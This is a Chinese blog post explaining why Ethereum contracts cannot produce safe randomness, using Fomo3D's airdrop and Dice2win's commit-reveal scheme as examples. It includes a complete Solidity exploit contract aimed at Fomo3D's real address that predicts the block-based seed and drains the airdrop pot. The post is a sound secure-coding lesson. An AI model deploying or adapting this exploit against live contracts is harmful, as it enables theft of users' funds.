关于以太坊随机数

在以太坊应用中,游戏一直都是热点中的热点,而在游戏中,随机数往往是一个不可或缺的功能,比如骰子游戏中,我们需要通过随机数来控制点数,如果一个游戏有一个好的随机数算法的话,那么既可以保证游戏庄家不被黑,也可以保证玩家不被宰。

虽然随机数很重要,但是坏消息是在以太坊中实现一个基本的随机数并不是一件简单的事情。对于不熟悉区块链的人而言,这可能有些难以理解:毕竟大多数编程语言都有生成随机数的功能,难道以太坊的 Solidity 没有这个功能?答案是没有!要搞清楚这一点,我们还需要了解一下以太坊的运行机制:以太坊是一个基于共识的区块链系统,当智能合约代码运行的时候,不同的节点得到的结果必须一致。设想一下,假设 Solidity 有一个 random 函数,在 A 节点生成一个随机数 123,在 B 节点生成一个随机数 789,那就不存在共识了,区块链的根基就不存在了,所以以太坊不存在 random 之类的函数。

下面我们以两个比较出名的 DAPP 游戏为例,看看它们是如何生成随机数的:

先看看 Fomo3D,它有一个空投奖金的功能,随机数相关代码如下:

function airdrop()
    private
    view
    returns(bool)
{
    uint256 seed = uint256(keccak256(abi.encodePacked(
        (block.timestamp).add
        (block.difficulty).add
        ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
        (block.gaslimit).add
        ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
        (block.number)
        
    )));
    if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
        return(true);
    else
        return(false);
}

大概逻辑就是根据区块和地址等信息做若干运算,拿到一个随机数,进而判断用户是否中奖,不过这个随机数是一个伪随机数,让我们看看对应的攻击代码:

pragma solidity ^0.4.24;

interface FoMo3DlongInterface {
    function airDropTracker_() external returns (uint256);
    function airDropPot_() external returns (uint256);
    function withdraw() external;
}

contract PwnFoMo3D {
    constructor() public payable {
        // Link up the fomo3d contract and ensure this whole thing is worth it
        FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
        if (fomo3d.airDropPot_() < 0.4 ether) {
            revert();
        }
        // Calculate whether this transaction would produce an airdrop. Take the
        // "random" number generator from the FoMo3D contract.
        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp) +
            (block.difficulty) +
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
            (block.gaslimit) +
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
            (block.number)
        )));

        uint256 tracker = fomo3d.airDropTracker_();
        if((seed - ((seed / 1000) * 1000)) >= tracker) {
            revert();
        }
        // Ok, seems we can win the airdrop, pwn the contract
        address(fomo3d).call.value(0.1 ether)();
        fomo3d.withdraw();
        selfdestruct(msg.sender);
    }
}

不懂 Solidity 也没关系,代码逻辑很简单:攻击者部署新合约,在攻击合约中调用 Fomo3D 的合约,如此一来,二者必然是在同一个区块中打包,所以攻击者可以在合约中按照相同的随机数逻辑来预演自己能否中奖,不能就回滚,能就拿钱走人。如此一来,攻击者的成本仅仅就是部署合约的 GAS 费,相对于偷来的奖金而言可以忽略不计。

再看看 Dice2win,其代码最主要的函数就两个:placeBet、settleBet,分别对应着下注和开奖,其中采用了一种名为 hash-commit-reveal 的算法来实现随机数:

【庄家承诺】庄家(secretSigner)随机生成某随机数reveal,同时计算commit = keccak256 (reveal)对该reveal进行承诺。然后根据目前区块高度,设置一个该承诺使用的最后区块高度commitLastBlock。 对commitLastBlock和commit的组合体进行签名得到sig,同时把(commit, commitLastBlock,sig)发送给玩家。 【玩家下注】玩家获得(commit, commitLastBlock,sig)后选择具体要玩的游戏,猜测一个随机数r,发送下注交易placeBet到智能合约上进行下注。 【庄家开奖】当庄家在区块block1中看到玩家的下注信息后。则发送settleBet交易公开承诺值reveal到区块链上。合约计算随机数random_number=keccak256(reveal,block1.hash)。如果random_number满足用户下注条件,则用户胜,否则庄家胜。此外游戏还设有大奖机制,即如果某次random_number满足某个特殊值(如88888),则用户可赢得奖金池中的大奖。

说明:以上信息摘录自「Not a fair game, Dice2win公平性分析」。

庄家承诺、玩家下注、庄家开奖三个步骤分别对应着 hash-commit-reveal 的三个阶段,整个过程中庄家掌握着随机数,玩家控制着投注,敏感信息分散在不同人手中,谁也别想单独作弊,从而实现了一种相对公平的算法,当然了,这里可能存在参考链接中提及的庄家选择性开奖的问题,但这点可以通过别的方法来规避,这里略过不谈。

看了本文的例子,相信大家应该对如何在以太坊中生成随机数有了一个基本的认识:记住区块链里一切都是公开的,不要试图在智能合约里通过区块之类的信息来生成随机数,而应该在服务端通过 hash-commit-reveal 之类的算法来实现随机数。此外,我再推荐一篇好文章:以太坊智能合约中随机数预测。

文章来源:

Author:老王
link:https://huoding.com/2018/10/31/700